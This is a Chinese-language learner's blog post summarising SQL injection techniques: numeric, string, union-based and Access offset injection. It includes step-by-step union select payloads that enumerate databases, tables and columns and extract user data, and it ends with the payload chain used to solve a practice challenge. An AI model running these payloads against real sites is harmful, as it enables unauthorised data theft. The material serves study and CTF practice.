SQL注入自己接触过的类型(自我小总结)

SQL注入学习自我总结

一:SQL注入简介

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

​ Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一

二:SQL注入的常见威胁

1、猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

2、绕过认证,列如绕过验证登录网站后台。

3、注入可以借助数据库的存储过程进行提权等操作。

三:SQL注入的基本常见的语句

基础sql语句

  1. select database(); #查看当前库名;
  2. select table_name from information_schema.tables where

table_schema=database() ; #查看当前库下的表名

3、select column_name from information_schema.columns where table_schema=database() and table_name='user'; #查询列名

4、select name,password from user; #获取用户名和密码列

四:SQL注入的常见类型(只列举了我已经做过的类型)

1:数字型注入点

在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为

select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1

2:字符型注入点

在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为

select * from 表名 where name='admin'注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' '

3:联合查询注入

可以使用union的情况下的注入

4:Access偏移注入

偏移注入是access比较独有的一种注入手段,很有特点的注入方式,一般用于在猜出了表名但是没有猜出列名的情况下使用。

**原理:**借用数据库的自连接查询(inner join)让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。

**用处:**access偏移注入是解决一些注入不出来列表的时候,同时要求支持union select,列名足够多,需要知道表名。

利用条件:

1、知道表名
2、任意字段(一般access会有一个id字段。)

偏移注入的流程:

1.判断注入点

127.0.0.1/asp/index.asp?id=1513 and 1=1 (正常)

127.0.0.1/asp/index.asp?id=1513 and 1=2 (错误)

2、查询字段个数

127.0.0.1/asp/index.asp?id=1513 order by 22 (正常)

127.0.0.1/asp/index.asp?id=1513 order by 23 (错误)

3、爆出显位

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

4、判断表内存在的字段个数

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin (错误)

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin (错误)

一直到……

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin (正确)

说明了admin表下有6个字段;

用""代表 admin 表的字段数,计算代替字符的位数。

联合查询(union注入)

注:联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化 

Union注入一般步骤:

1. 注入点判断

开始判断是否存在注入,输入?id=1',页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞

继续判断,输入 ?id=1' and 1=1 --+ 页面正常显示

输入?id=1' and 1=2 --+ 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号

页面会根据输入的数据变化而变化,所以当存在注入点时,优先考虑使用联合注入手法。

2. 判断当前表的字段个数

输入order by 3,页面无异常反应(?id=1' order by 3 --+

然后将3修改为4,此时显示未知的列,说明此时当前表中只有3列(?id=1' order by 4 --+

3. 判断显示位

接下来测试我们的输入会在屏幕哪个地方进行回显。上面我们判断出来了表中有3列,所以union select的时候就写xx,xx,xx三个数据

需让union select前面的参数查不出来而回显后面的语句,所以id=-1'(?id=-1' union select 1,2,3 --+

4. 爆当前数据库名字

?id=-1' union select 1,2,database() --+

获取当前数据库名为“………”

5. 爆当前数据库中的表

#直接套用语句

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

显示当前数据库中存在……个表“1,2,3,4…….”

6. 爆表中的字段

例如:我们这里选择1表进行进一步的获取表中的字段信息

#只需指定表名即可

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' --+

#或者指定当前数据库名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' --+

获取表中存在……个字段,分别为“a,b,c………”

7. 爆相应字段的所有数据

#只需指定表名和字段名

?id=-1' union select 1,2,group_concat(`a`,':',`b`,':',`c`) from 表名 --+

#字段值不加反引号也可以

?id=-1' union select 1,2,group_concat(a,':',b,':',c) from users --+

至此,联合查询整个过程结束,注入的时候找到注入点后只需套入语句即可。

注意:重要的是套用注入语句,并且自己可以看得懂页面回显的内容,套用的注入语句中有些库名,表名,字数段要根据当时题目的环境进行适当的更改

例如:本次考核的题目斗“宗强者恐怖如斯”

它的命令为:

?id=1'

?id=1') union select 1,2,3--+

?id=-1') union select 1,2,database()--+

id=-1') union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='xitif_sql' --+

?id=-1') union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag' --+

?id=-1') union select 1,2,group_concat(flAg) from xitif_sql.flag --+

可以发现其中的库名,表名,字数段名都是其题目中回显的信息,所以一定要注意更改这三个点(当然要搞懂流程每一步骤的用处)

  • 16
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值